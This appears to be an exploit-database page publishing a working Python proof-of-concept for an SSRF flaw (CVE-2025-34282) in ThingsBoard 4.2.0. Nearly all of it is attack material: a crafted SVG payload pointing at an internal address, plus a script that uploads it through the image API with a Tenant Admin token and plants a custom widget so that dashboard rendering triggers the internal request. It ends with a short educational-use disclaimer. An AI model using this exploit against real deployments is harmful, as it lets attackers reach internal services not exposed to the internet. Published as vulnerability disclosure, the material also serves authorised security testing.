Skip to main content

ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery (SSRF)

Categories: WebApps

ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery (SSRF)

Proof of Concept (PoC)

poc.py
# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF) 
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
#             https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
#   ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
#   Upload Gallery feature. An attacker can upload a crafted SVG file containing
#   a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
#   When ThingsBoard processes the uploaded SVG server-side, it fetches the
#   referenced URL, allowing the attacker to reach internal services not
#   exposed to the internet.
#
#   Requires a Tenant Admin bearer token. Tenant Admin is a role below System
#   Admin in ThingsBoard's hierarchy and has access to the Widget Library and
#   Image Upload Gallery APIs used in this exploit.
#
#   Attack chain:
#     1. Upload a malicious SVG to POST /api/image
#        -> Server processes the SVG and issues a request to the internal URL
#     2. Create a custom widget embedding the SVG's publicLink via <object> tag
#        -> Widget render also triggers the server-side fetch
#
#   SVG payload used (ssrf_localhost_5555_svg.svg):
#     <?xml version="1.0" standalone="no"?>
#     <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
#          xmlns:xlink="http://www.w3.org/1999/xlink"
#          xmlns:ev="http://www.w3.org/2001/xml-events">
#     <defs>
#       <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
#         <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
#       </pattern>
#     </defs>
#     <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
#     </svg>
#
# Usage:
#   pip install requests
#   python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
#   python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...

import requests
import json
import os
import sys
import argparse
import time

DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"

def upload_image(filepath, token):
    if not os.path.isfile(filepath):
        raise SystemExit(f"File not found: {filepath}")

    filename = os.path.basename(filepath)

    mime_types = {
        '.svg': 'image/svg+xml',
        '.jpg': 'image/jpeg',
        '.jpeg': 'image/jpeg',
        '.png': 'image/png',
        '.gif': 'image/gif'
    }
    ext = os.path.splitext(filename)[1].lower()
    mime_type = mime_types.get(ext, 'application/octet-stream')

    headers = {
        "X-Authorization": f"Bearer {token}",
        "User-Agent": "python-requests/2.x",
        "Referer": DEFAULT_REFERER,
        "Origin": DEFAULT_ORIGIN,
    }

    with open(filepath, "rb") as f:
        files = {
            "file": (filename, f, mime_type)
        }
        resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)

    return resp

def create_widget(public_link, token):
    headers = {
        "X-Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
        "Accept": "application/json, text/plain, */*",
        "Origin": DEFAULT_ORIGIN,
        "User-Agent": "python-requests"
    }

    template_html = f"""
    <tb-value-card-widget
        [ctx]="ctx"
        [widgetTitlePanel]="widgetTitlePanel">
    </tb-value-card-widget>
    <object data="{public_link}" type="image/svg+xml"></object>
    """

    payload = {
        "fqn": "SSRF_testing_Poc",
        "name": "SSRF_testing_Poc",
        "deprecated": False,
        "image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
        "description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
        "descriptor": {
            "type": "latest",
            "sizeX": 3,
            "sizeY": 3,
            "resources": [],
            "templateHtml": template_html,
            "templateCss": "",
            "controllerScript": "self.onInit = function() {n    self.ctx.$scope.valueCardWidget.onInit();n};nnself.onDataUpdated = function() {n    self.ctx.$scope.valueCardWidget.onDataUpdated();n};nnself.typeParameters = function() {n    return {n        maxDatasources: 1,n        maxDataKeys: 1,n        singleEntity: true,n        previewWidth: '250px',n        previewHeight: '250px',n        embedTitlePanel: true,n        supportsUnitConversion: true,n        defaultDataKeysFunction: function() {n            return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];n        }n    };n};nnself.onDestroy = function() {n};n",
            "dataKeySettingsForm": [],
            "settingsDirective": "tb-value-card-widget-settings",
            "hasBasicMode": True,
            "basicModeDirective": "tb-value-card-basic-config",
            "defaultConfig": "{"datasources":[{"type":"function","name":"function","dataKeys":[{"name":"f(x)","type":"function","label":"Air Quality Index","color":"#2196f3","settings":{},"_hash":0.2392660816082064,"funcBody":"var value = prevValue + Math.random() * 100 - 50;\nif (value < 0) {\n\tvalue = 0;\n} else if (value > 320) {\n\tvalue = 320;\n}\nreturn value;","aggregationType":null,"units":null,"decimals":null,"usePostProcessing":null,"postFuncBody":null}],"alarmFilterConfig":{"statusList":["ACTIVE"]}}],"timewindow":{"realtime":{"timewindowMs":60000}},"showTitle":false,"backgroundColor":"rgba(0, 0, 0, 0)","color":"rgba(0, 0, 0, 0.87)","padding":"0px","settings":{"labelPosition":"top","layout":"square","showLabel":true,"labelFont":{"size":14,"sizeUnit":"px","family":"Roboto","weight":"500","style":"normal"},"labelColor":{"type":"constant","color":"rgba(0, 0, 0, 0.87)","colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n  var percent = (temperature + 60)/120 * 100;\n  return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';"},"showIcon":true,"iconSize":40,"iconSizeUnit":"px","icon":"mdi:weather-windy","iconColor":{"type":"range","color":"rgba(0, 0, 0, 0.87)","rangeList":[{"from":0,"to":50,"color":"#80C32C"},{"from":50,"to":100,"color":"#FFA600"},{"from":100,"to":150,"color":"#F36900"},{"from":150,"to":200,"color":"#D81838"},{"from":200,"to":300,"color":"#8D28C"},{"from":300,"to":null,"color":"#6F113A"}],"colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n  var percent = (temperature + 60)/120 * 100;\n  return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';"},"valueFont":{"size":26,"sizeUnit":"px","family":"Roboto","weight":"500","style":"normal"},"valueColor":{"type":"range","color":"rgba(0, 0, 0, 0.87)","colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n  var percent = (temperature + 60)/120 * 100;\n  return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';","rangeList":[{"from":0,"to":50,"color":"#80C32C"},{"from":50,"to":100,"color":"#FFA600"},{"from":100,"to":150,"color":"#F36900"},{"from":150,"to":200,"color":"#D81838"},{"from":200,"to":300,"color":"#8D28C"},{"from":300,"to":null,"color":"#6F113A"}]},"showDate":true,"dateFormat":{"format":null,"lastUpdateAgo":true,"custom":false},"dateFont":{"family":"Roboto","size":12,"sizeUnit":"px","style":"normal","weight":"500"},"dateColor":{"type":"constant","color":"rgba(0, 0, 0, 0.38)","colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n  var percent = (temperature + 60)/120 * 100;\n  return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';"},"background":{"type":"color","color":"#fff","overlay":{"enabled":false,"color":"rgba(255,255,255,0.72)","blur":3}},"autoScale":true},"title":"Air quality card","dropShadow":true,"enableFullscreen":false,"titleStyle":{"fontSize":"16px","fontWeight":400},"units":"AQI","decimals":1,"useDashboardTimewindow":true,"showLegend":false,"widgetStyle":{},"actions":{},"configMode":"basic","displayTimewindow":true,"margin":"0px","borderRadius":"0px","widgetCss":"","pageSize":1024,"noDataDisplayMessage":"","showTitleIcon":false,"titleTooltip":"","titleFont":{"size":12,"sizeUnit":"px","family":null,"weight":null,"style":null,"lineHeight":"1.6"},"titleIcon":"","iconColor":"rgba(0, 0, 0, 0.87)","iconSize":"14px","timewindowStyle":{"showIcon":true,"iconSize":"14px","icon":"query_builder","iconPosition":"left","font":{"size":12,"sizeUnit":"px","family":null,"weight":null,"style":null,"lineHeight":"1"},"color":null}}"
        },
        "resources": None,
        "scada": False,
        "tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
    }

    try:
        resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
        return resp
    except Exception as e:
        print(f"Request failed: {e}", file=sys.stderr)
        sys.exit(1)

def main(image_path, token):
    try:
        resp = upload_image(image_path, token)
        print("Upload Status:", resp.status_code)

        public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
        if not public_link:
            print(resp.json())
            print("Failed to retrieve public link from response.")
            sys.exit(1)

        print("Public Link:", public_link)

        time.sleep(2)

        widget_resp = create_widget(public_link, token)
        print("Widget Creation Status:", widget_resp.status_code)
        print("n[+] Widget created successfully.")
        print("    Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
        print("    Add it to any dashboard to trigger the SSRF.")

    except Exception as e:
        print("Error:", e, file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
    parser.add_argument("image", help="Path to the SVG file to upload")
    parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
    args = parser.parse_args()

    if not args.token:
        print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
        parser.print_help()
        sys.exit(2)

    main(args.image, args.token)

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...